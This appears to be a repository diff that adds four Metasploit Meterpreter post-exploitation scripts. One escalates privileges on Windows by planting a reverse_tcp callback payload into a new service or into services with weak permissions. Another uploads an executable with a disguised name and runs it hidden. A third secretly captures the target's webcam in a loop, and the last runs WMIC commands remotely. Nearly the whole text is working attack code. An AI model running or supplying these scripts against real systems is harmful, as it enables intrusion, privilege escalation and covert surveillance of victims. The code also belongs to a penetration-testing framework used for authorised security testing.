@ -0,0 +1,210 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
##
|
||||
# Many services are configured with insecure permissions. This
|
||||
# script attempts to create a service, then searches through a list of
|
||||
# existing services to look for insecure file or configuration
|
||||
# permissions that will let it replace the executable with a payload.
|
||||
# It will then attempt to restart the replaced service to run the
|
||||
# payload. If that fails, the next time the service is started (such as
|
||||
# on reboot) the attacker will gain elevated privileges.
|
||||
#
|
||||
# scriptjunkie googlemail com
|
||||
#
|
||||
##
|
||||
|
||||
if client.platform !~ /win32/
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
#
|
||||
# Options
|
||||
#
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"],
|
||||
"-h" => [ false, "This help menu"],
|
||||
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
|
||||
"-p" => [ true, "The port on the remote host where Metasploit is listening"]
|
||||
)
|
||||
|
||||
#
|
||||
# Default parameters
|
||||
#
|
||||
|
||||
rhost = Rex::Socket.source_address("1.2.3.4")
|
||||
rport = 4444
|
||||
aggressive = false
|
||||
|
||||
#
|
||||
# Option parsing
|
||||
#
|
||||
opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when "-a"
|
||||
aggressive = true
|
||||
when "-h"
|
||||
print_status("Generic weak service permissions privilege escalation.")
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-r"
|
||||
rhost = val
|
||||
when "-p"
|
||||
rport = val.to_i
|
||||
end
|
||||
end
|
||||
|
||||
envs = client.sys.config.getenvs('TEMP', 'SYSTEMROOT')
|
||||
tempdir = envs['TEMP']
|
||||
sysdir = envs['SYSTEMROOT']
|
||||
|
||||
# Get the exe payload.
|
||||
pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
|
||||
pay.datastore['LHOST'] = rhost
|
||||
pay.datastore['LPORT'] = rport
|
||||
raw = pay.generate
|
||||
exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
|
||||
#and placing it on the target in %TEMP%
|
||||
tempexename = Rex::Text.rand_text_alpha((rand(8)+6))
|
||||
tempexe = "#{tempdir}\\#{tempexename}.exe"
|
||||
print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{tempexe}")
|
||||
fd = client.fs.file.new(tempexe, "wb")
|
||||
fd.write(exe)
|
||||
fd.close
|
||||
|
||||
#get handler to be ready
|
||||
handler = client.framework.exploits.create("multi/handler")
|
||||
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
|
||||
handler.datastore['LHOST'] = rhost
|
||||
handler.datastore['LPORT'] = rport
|
||||
handler.datastore['InitialAutoRunScript'] = "migrate -f"
|
||||
handler.datastore['ExitOnSession'] = false
|
||||
#start a handler to be ready
|
||||
handler.exploit_simple(
|
||||
'Payload' => handler.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
|
||||
#attempt to make new service
|
||||
client.railgun.kernel32.LoadLibraryA("advapi32.dll")
|
||||
client.railgun.get_dll('advapi32')
|
||||
client.railgun.add_function( 'advapi32', 'DeleteService','BOOL',[
|
||||
[ "DWORD", "hService", "in" ]
|
||||
])
|
||||
|
||||
#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
|
||||
|
||||
print_status("Trying to add a new service...")
|
||||
adv = client.railgun.advapi32
|
||||
manag = adv.OpenSCManagerA(nil,nil,0x10013)
|
||||
if(manag["return"] != 0)
|
||||
# SC_MANAGER_CREATE_SERVICE = 0x0002
|
||||
newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
|
||||
#SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010
|
||||
#SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
|
||||
if(newservice["return"] != 0)
|
||||
print_status("Created service... #{newservice["return"]}")
|
||||
ret = adv.StartServiceA(newservice["return"], 0, nil)
|
||||
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
|
||||
service_delete("walservice")
|
||||
adv.CloseServiceHandle(newservice["return"])
|
||||
if aggressive == false
|
||||
adv.CloseServiceHandle(manag["return"])
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
else
|
||||
print_status("Uhoh. service creation failed, but we should have the permissions. :-(")
|
||||
end
|
||||
else
|
||||
print_status("No privs to create a service...")
|
||||
manag = adv.OpenSCManagerA(nil,nil,1)
|
||||
if(manag["return"] == 0)
|
||||
print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
|
||||
end
|
||||
end
|
||||
print_status("Trying to find weak permissions in existing services..")
|
||||
#Search through list of services to find weak permissions, whether file or config
|
||||
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
||||
#for each service
|
||||
service_list.each do |serv|
|
||||
begin
|
||||
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
|
||||
if srvtype != "16"
|
||||
continue
|
||||
end
|
||||
moved = false
|
||||
configed = false
|
||||
#default path, but there should be an ImagePath registry key
|
||||
source = "#{sysdir}\\system32\\#{serv}.exe"
|
||||
#get path to exe; parse out quotes and arguments
|
||||
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
|
||||
sourcemaybe = client.fs.file.expand_path(sourceorig)
|
||||
if( sourcemaybe[0] == '"' )
|
||||
sourcemaybe = sourcemaybe.split('"')[1]
|
||||
else
|
||||
sourcemaybe = sourcemaybe.split(' ')[0]
|
||||
end
|
||||
begin
|
||||
client.fs.file.stat(sourcemaybe) #check if it really exists
|
||||
source = sourcemaybe
|
||||
rescue
|
||||
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
|
||||
end
|
||||
#try to exploit weak file permissions
|
||||
if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
|
||||
client.railgun.kernel32.CopyFileA(tempexe, source, false)
|
||||
print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.")
|
||||
moved = true
|
||||
end
|
||||
#try to exploit weak config permissions
|
||||
#open with SERVICE_CHANGE_CONFIG (0x0002)
|
||||
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
|
||||
if(servhandleret["return"] != 0)
|
||||
#SERVICE_NO_CHANGE is 0xFFFFFFFF
|
||||
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
|
||||
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
|
||||
configed = true
|
||||
end
|
||||
adv.CloseServiceHandle(servhandleret["return"])
|
||||
|
||||
end
|
||||
if(moved != true && configed != true)
|
||||
print_status("No exploitable weak permissions found on #{serv}")
|
||||
continue
|
||||
end
|
||||
print_status("Restarting #{serv}")
|
||||
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
|
||||
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
|
||||
if(servhandleret["return"] != 0)
|
||||
#SERVICE_CONTROL_STOP = 0x00000001
|
||||
if(adv.ControlService(servhandleret["return"],1,56))
|
||||
client.railgun.kernel32.Sleep(1000)
|
||||
adv.StartServiceA(servhandleret["return"],0,nil)
|
||||
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
|
||||
#Cleanup
|
||||
if moved == true
|
||||
client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
|
||||
end
|
||||
if configed == true
|
||||
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
|
||||
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
|
||||
adv.CloseServiceHandle(servhandleret["return"])
|
||||
end
|
||||
if aggressive == false
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
else
|
||||
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
|
||||
end
|
||||
adv.CloseServiceHandle(servhandleret["return"])
|
||||
else
|
||||
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
149
scripts/meterpreter/uploadexec.rb
Normal file
149
scripts/meterpreter/uploadexec.rb
Normal file
@ -0,0 +1,149 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
session = client
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false,"Help menu." ],
|
||||
"-e" => [ true, "Executable or script to upload to target host." ],
|
||||
"-o" => [ true, "Options for executable." ],
|
||||
"-p" => [ false,"Path on target to upload executable, default is %TEMP%." ],
|
||||
"-x" => [ false,"Exit the session once the payload has been run." ],
|
||||
"-s" => [ true,"Sleep for a number of seconds after uploading before executing." ],
|
||||
"-v" => [ false,"Verbose, return output of execution of uploaded executable." ],
|
||||
"-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ]
|
||||
)
|
||||
|
||||
################## function declaration Declarations ##################
|
||||
def usage()
|
||||
print_line "UploadExec -- upload a script or executable and run it"
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
def upload(session,file,trgloc = "")
|
||||
if not ::File.exist?(file)
|
||||
raise "File to Upload does not exists!"
|
||||
else
|
||||
if trgloc == ""
|
||||
location = session.sys.config.getenv('TEMP')
|
||||
else
|
||||
location = trgloc
|
||||
end
|
||||
begin
|
||||
ext = file[file.rindex(".") .. -1]
|
||||
if ext and ext.downcase == ".exe"
|
||||
fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
|
||||
else
|
||||
fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}"
|
||||
end
|
||||
print_status("\tUploading #{file}....")
|
||||
session.fs.file.upload_file("#{fileontrgt}","#{file}")
|
||||
print_status("\t#{file} uploaded!")
|
||||
print_status("\tUploaded as #{fileontrgt}")
|
||||
rescue ::Exception => e
|
||||
print_status("Error uploading file #{file}: #{e.class} #{e}")
|
||||
raise e
|
||||
end
|
||||
end
|
||||
return fileontrgt
|
||||
end
|
||||
|
||||
#Function for executing a list of commands
|
||||
def cmd_on_trgt_exec(session,cmdexe,opt,verbose)
|
||||
r=''
|
||||
session.response_timeout=120
|
||||
if verbose == 1
|
||||
begin
|
||||
print_status "\tRunning command #{cmdexe}"
|
||||
r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true})
|
||||
while(d = r.channel.read)
|
||||
print_status("\t#{d}")
|
||||
end
|
||||
r.channel.close
|
||||
r.close
|
||||
rescue ::Exception => e
|
||||
print_status("Error Running Command #{cmdexe}: #{e.class} #{e}")
|
||||
raise e
|
||||
end
|
||||
else
|
||||
begin
|
||||
print_status "\trunning command #{cmdexe}"
|
||||
r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false})
|
||||
r.close
|
||||
rescue ::Exception => e
|
||||
print_status("Error Running Command #{cmdexe}: #{e.class} #{e}")
|
||||
raise e
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def m_unlink(session, path)
|
||||
r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})
|
||||
while(r.name)
|
||||
select(nil, nil, nil, 0.10)
|
||||
end
|
||||
r.close
|
||||
end
|
||||
#check for proper Meterpreter Platform
|
||||
def unsupported
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
unsupported if client.platform !~ /win32|win64/i
|
||||
#parsing of Options
|
||||
file = ""
|
||||
cmdopt = nil
|
||||
helpcall = 0
|
||||
path = ""
|
||||
verbose = 0
|
||||
remove = 0
|
||||
quit = 0
|
||||
sleep_sec = nil
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-e"
|
||||
file = val || ""
|
||||
when "-o"
|
||||
cmdopt = val
|
||||
when "-p"
|
||||
path = val
|
||||
when "-v"
|
||||
verbose = 1
|
||||
when "-h"
|
||||
helpcall = 1
|
||||
when "-s"
|
||||
sleep_sec = val.to_f
|
||||
when "-r"
|
||||
remove = 1
|
||||
when "-x"
|
||||
quit = 1
|
||||
end
|
||||
|
||||
}
|
||||
|
||||
if args.length == 0 || helpcall == 1
|
||||
usage
|
||||
end
|
||||
print_status("Running Upload and Execute Meterpreter script....")
|
||||
exec = upload(session,file,path)
|
||||
if sleep_sec
|
||||
print_status("\tSleeping for #{sleep_sec}s...")
|
||||
Rex.sleep(sleep_sec)
|
||||
end
|
||||
cmd_on_trgt_exec(session,exec,cmdopt,verbose)
|
||||
if remove == 1
|
||||
print_status("\tDeleting #{exec}")
|
||||
m_unlink(session, exec)
|
||||
end
|
||||
|
||||
if quit == 1
|
||||
print_status("Closing the session...")
|
||||
session.core.shutdown rescue nil
|
||||
session.shutdown_passive_dispatcher
|
||||
end
|
||||
|
||||
print_status("Finished!")
|
141
scripts/meterpreter/webcam.rb
Normal file
141
scripts/meterpreter/webcam.rb
Normal file
@ -0,0 +1,141 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Author: scriptjunkie
|
||||
#
|
||||
# Simplify running webcam, whether grabbing a single frame or running
|
||||
# a continous loop.
|
||||
|
||||
@client = client
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu" ],
|
||||
"-f" => [ false, "Just grab single frame"],
|
||||
"-l" => [ false, "Keep capturing in a loop (default)" ],
|
||||
"-d" => [ true, "Loop delay interval (in ms, default 1000)" ],
|
||||
"-i" => [ true, "The index of the webcam to use (Default: 1)" ],
|
||||
"-q" => [ true, "The JPEG image quality (Default: 50)" ],
|
||||
"-g" => [ false, "Send to GUI instead of writing to file" ],
|
||||
"-s" => [ true, "Stop recording" ],
|
||||
"-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ],
|
||||
"-a" => [ false, "Store copies of all the images capture instead of overwriting the same file (Default: overwrite single file)" ]
|
||||
)
|
||||
iterator = 0
|
||||
folderpath = "."
|
||||
single = false
|
||||
quality = 50
|
||||
index = 1
|
||||
interval = 1000
|
||||
gui = false
|
||||
saveAll = false
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "webcam -- view webcam over session"
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-f"
|
||||
single = true
|
||||
when "-l"
|
||||
single = false
|
||||
when "-d"
|
||||
interval = val.to_i
|
||||
when "-i"
|
||||
index = val.to_i
|
||||
when "-q"
|
||||
quality = val.to_i
|
||||
when "-g"
|
||||
gui = true
|
||||
when "-p"
|
||||
folderpath = val
|
||||
when "-s"
|
||||
print_line("[*] Stopping webcam")
|
||||
client.webcam.webcam_stop
|
||||
raise Rex::Script::Completed
|
||||
when "-a"
|
||||
saveAll = true
|
||||
end
|
||||
}
|
||||
|
||||
if !(client.platform =~ /win32|win64/)
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
begin
|
||||
camlist = client.webcam.webcam_list
|
||||
if camlist.length == 0
|
||||
print_error("Error: no webcams found!")
|
||||
raise Rex::Script::Completed
|
||||
elsif camlist.length < index
|
||||
print_error("Error: only #{camlist.length} webcams found!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}")
|
||||
client.webcam.webcam_start(index)
|
||||
|
||||
#prepare output
|
||||
if(gui)
|
||||
sock = Rex::Socket::Udp.create(
|
||||
'PeerHost' => "127.0.0.1",
|
||||
'PeerPort' => 16235
|
||||
)
|
||||
end
|
||||
imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"
|
||||
print_line( "[*] imagepath is #{imagepath}" )
|
||||
htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm"
|
||||
begin
|
||||
if single == true
|
||||
data = client.webcam.webcam_get_frame(quality)
|
||||
if(gui)
|
||||
sock.write(data)
|
||||
else
|
||||
::File.open( imagepath, 'wb' ) do |fd|
|
||||
fd.write( data )
|
||||
end
|
||||
path = ::File.expand_path( imagepath )
|
||||
print_line( "[*] Image saved to : #{path}" )
|
||||
Rex::Compat.open_file( path )
|
||||
end
|
||||
else
|
||||
if(!gui)
|
||||
::File.open(htmlpath, 'wb' ) do |fd|
|
||||
htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"
|
||||
fd.write(htmlOut)
|
||||
end
|
||||
print_line( "[*] View live stream at: #{htmlpath}" )
|
||||
Rex::Compat.open_file(htmlpath)
|
||||
print_line( "[*] Image saved to : #{imagepath}" )
|
||||
end
|
||||
while true do
|
||||
data = client.webcam.webcam_get_frame(quality)
|
||||
if(gui)
|
||||
sock.write(data)
|
||||
else
|
||||
::File.open( imagepath, 'wb' ) do |fd|
|
||||
fd.write( data )
|
||||
::File.open(htmlpath, 'wb' ) do |fd|
|
||||
htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>"
|
||||
fd.write(htmlOut)
|
||||
if(saveAll)
|
||||
iterator = iterator + 1
|
||||
imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
select(nil, nil, nil, interval/1000.0)
|
||||
end
|
||||
end
|
||||
rescue ::Interrupt
|
||||
rescue ::Exception => e
|
||||
print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
print_line("[*] Stopping webcam")
|
||||
client.webcam.webcam_stop
|
||||
sock.close if sock != nil
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
137
scripts/meterpreter/wmic.rb
Normal file
137
scripts/meterpreter/wmic.rb
Normal file
@ -0,0 +1,137 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#Meterpreter script for running WMIC commands on Windows 2003, Windows Vista
|
||||
# and Windows XP and Windows 2008 targets.
|
||||
#Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
|
||||
################## Variable Declarations ##################
|
||||
session = client
|
||||
wininfo = client.sys.config.sysinfo
|
||||
# Setting Arguments
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false,"Help menu." ],
|
||||
"-c" => [ true,"Command to execute. The command must be enclosed in double quotes."],
|
||||
"-f" => [ true,"File where to saved output of command."],
|
||||
"-s" => [ true,"Text file with list of commands, one per line."]
|
||||
)
|
||||
#Setting Argument variables
|
||||
commands = []
|
||||
script = []
|
||||
outfile = nil
|
||||
|
||||
################## Function Declarations ##################
|
||||
# Function for running a list of WMIC commands stored in a array, returs string
|
||||
def wmicexec(session,wmiccmds= nil)
|
||||
tmpout = ''
|
||||
session.response_timeout=120
|
||||
begin
|
||||
tmp = session.sys.config.getenv('TEMP')
|
||||
wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))
|
||||
wmiccmds.each do |wmi|
|
||||
print_status "running command wmic #{wmi}"
|
||||
print_line wmicfl
|
||||
r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true})
|
||||
sleep(2)
|
||||
#Making sure that wmic finishes before executing next wmic command
|
||||
prog2check = "wmic.exe"
|
||||
found = 0
|
||||
while found == 0
|
||||
session.sys.process.get_processes().each do |x|
|
||||
found =1
|
||||
if prog2check == (x['name'].downcase)
|
||||
sleep(0.5)
|
||||
found = 0
|
||||
end
|
||||
end
|
||||
end
|
||||
r.close
|
||||
end
|
||||
# Read the output file of the wmic commands
|
||||
wmioutfile = session.fs.file.new(wmicfl, "rb")
|
||||
until wmioutfile.eof?
|
||||
tmpout << wmioutfile.read
|
||||
end
|
||||
wmioutfile.close
|
||||
rescue ::Exception => e
|
||||
print_status("Error running WMIC commands: #{e.class} #{e}")
|
||||
end
|
||||
# We delete the file with the wmic command output.
|
||||
c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
|
||||
c.close
|
||||
tmpout
|
||||
end
|
||||
# Function for writing results of other functions to a file
|
||||
def filewrt(file2wrt, data2wrt)
|
||||
output = ::File.open(file2wrt, "a")
|
||||
data2wrt.each_line do |d|
|
||||
output.puts(d)
|
||||
end
|
||||
output.close
|
||||
end
|
||||
|
||||
#check for proper Meterpreter Platform
|
||||
def unsupported
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
def usage
|
||||
print_line("Windows WMIC Command Execution Meterpreter Script ")
|
||||
print_line @@exec_opts.usage
|
||||
print_line("USAGE:")
|
||||
print_line("run wmic -c \"WMIC Command Argument\"\n")
|
||||
print_line("NOTE:")
|
||||
print_line("Not all arguments for WMIC can be used, the /append: option is used by the script")
|
||||
print_line("for output retrieval. Arguments must be encased in double quotes and special characters escaped\n")
|
||||
print_line("Example:")
|
||||
print_line("run wmic -c \"useraccount where (name = \\\'Administrator\\\') get name, sid\"\n")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
################## Main ##################
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-c"
|
||||
|
||||
commands.concat(val.split("/"))
|
||||
|
||||
when "-s"
|
||||
|
||||
script = val
|
||||
if not ::File.exist?(script)
|
||||
raise "Command List File does not exists!"
|
||||
else
|
||||
::File.open(script, "r").each_line do |line|
|
||||
next if line.strip.length < 1
|
||||
next if line[0,1] == "#"
|
||||
commands << line.chomp
|
||||
end
|
||||
end
|
||||
when "-f"
|
||||
|
||||
outfile = val
|
||||
when "-h"
|
||||
usage
|
||||
else
|
||||
print_error "Unknown option: #{opt}"
|
||||
usage
|
||||
end
|
||||
|
||||
}
|
||||
|
||||
if args.length == 0
|
||||
usage
|
||||
end
|
||||
unsupported if client.platform !~ /win32|win64/i
|
||||
|
||||
if outfile == nil
|
||||
print_status wmicexec(session,commands)
|
||||
else
|
||||
print_status("Saving output of WMIC to #{outfile}")
|
||||
filewrt(outfile, wmicexec(session,commands))
|
||||
end
|
Loading…
Reference in New Issue
Block a user